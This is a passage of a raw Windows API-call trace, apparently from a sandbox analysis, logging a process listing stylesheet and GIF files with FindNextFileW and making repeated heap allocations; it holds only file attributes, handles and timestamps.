ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x74f, dwReserved0=0x0, dwReserved1=0x0, cFileName="OliveGreen.css", cAlternateFileName="")) returned 1 [0076.487] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.487] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.487] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.487] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.487] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.487] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf2c0 [0076.487] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a08a0 [0076.488] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.488] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x705, dwReserved0=0x0, dwReserved1=0x0, cFileName="Premium.css", cAlternateFileName="")) returned 1 [0076.488] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.488] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.488] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.488] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.488] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.488] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf2e0 [0076.488] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a09a8 [0076.488] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.488] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x366, dwReserved0=0x0, dwReserved1=0x0, cFileName="RTF_BOLD.GIF", cAlternateFileName="")) returned 1 [0076.488] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.488] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.488] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.488] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.488] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.488] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf300 [0076.488] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a0ab0 [0076.489] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.489] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79023600, ftCreationTime.dwHighDateTime=0x1ca2b70, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x79023600, ftLastWriteTime.dwHighDateTime=0x1ca2b70, nFileSizeHigh=0x0, nFileSizeLow=0x37a, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_choosefont.gif", cAlternateFileName="")) returned 1 [0076.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.489] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.489] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf320 [0076.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a0bb8 [0076.489] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.489] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_italic.gif", cAlternateFileName="")) returned 1 [0076.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.489] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.489] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf340 [0076.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a0cc0 [0076.490] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.490] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60dfe600, ftCreationTime.dwHighDateTime=0x1ca2b73, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x60dfe600, ftLastWriteTime.dwHighDateTime=0x1ca2b73, nFileSizeHigh=0x0, nFileSizeLow=0xa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_spellcheck.gif", cAlternateFileName="")) returned 1 [0076.490] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.490] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.490] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.490] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.490] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.490] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf360 [0076.490] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a0dc8 [0076.490] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.490] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x35c, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_underline.gif", cAlternateFileName="")) returned 1 [0076.490] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.490] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.490] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.490] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.490] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.490] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf380 [0076.490] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a0ed0 [0076.491] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.491] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slate", cAlternateFileName="")) returned 1 [0076.491] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xdbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slate.css", cAlternateFileName="")) returned 1 [0076.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.491] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.491] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf3a0 [0076.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a0fd8 [0076.491] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.491] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x74e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SlateBlue.css", cAlternateFileName="")) returned 1 [0076.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.491] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.538] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf3c0 [0076.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a10e0 [0076.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x3b00) returned 0xabf2b8 [0076.539] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaca190) returned 1 [0076.539] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.539] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue", cAlternateFileName="")) returned 1 [0076.539] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.css", cAlternateFileName="")) returned 1 [0076.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.539] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.539] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf3e0 [0076.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a11e8 [0076.540] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.540] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd67f150, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6a52b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solutions", cAlternateFileName="")) returned 1 [0076.540] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x19cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solutions.css", cAlternateFileName="")) returned 1 [0076.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.540] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.540] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf400 [0076.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a12f0 [0076.540] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.540] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solutions_Doc.css", cAlternateFileName="")) returned 1 [0076.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.540] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.540] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf420 [0076.541] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a13f8 [0076.541] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.541] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x55c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solutions_Generic.css", cAlternateFileName="")) returned 1 [0076.541] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.541] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.541] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.541] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.541] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.541] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf440 [0076.541] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a1500 [0076.541] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.541] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solutions_Person.css", cAlternateFileName="")) returned 1 [0076.541] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.541] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.541] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.541] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.541] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.542] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf460 [0076.542] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a1608 [0076.542] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.542] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xab, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solutions_Response.css", cAlternateFileName="")) returned 1 [0076.542] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.542] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.542] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.542] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.542] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.542] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf480 [0076.542] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a1710 [0076.542] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.542] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpringGreen", cAlternateFileName="")) returned 1 [0076.542] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd01, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpringGreen.css", cAlternateFileName="")) returned 1 [0076.542] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.542] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.542] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.542] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.542] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.543] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf4a0 [0076.543] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a1818 [0076.543] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.543] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x9fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sts.css", cAlternateFileName="")) returned 1 [0076.543] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.543] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.543] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.543] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.543] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.543] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf4c0 [0076.543] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a1920 [0076.543] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.543] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STS2", cAlternateFileName="")) returned 1 [0076.543] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sts2.css", cAlternateFileName="")) returned 1 [0076.543] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.543] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.543] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.543] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.544] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.544] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | 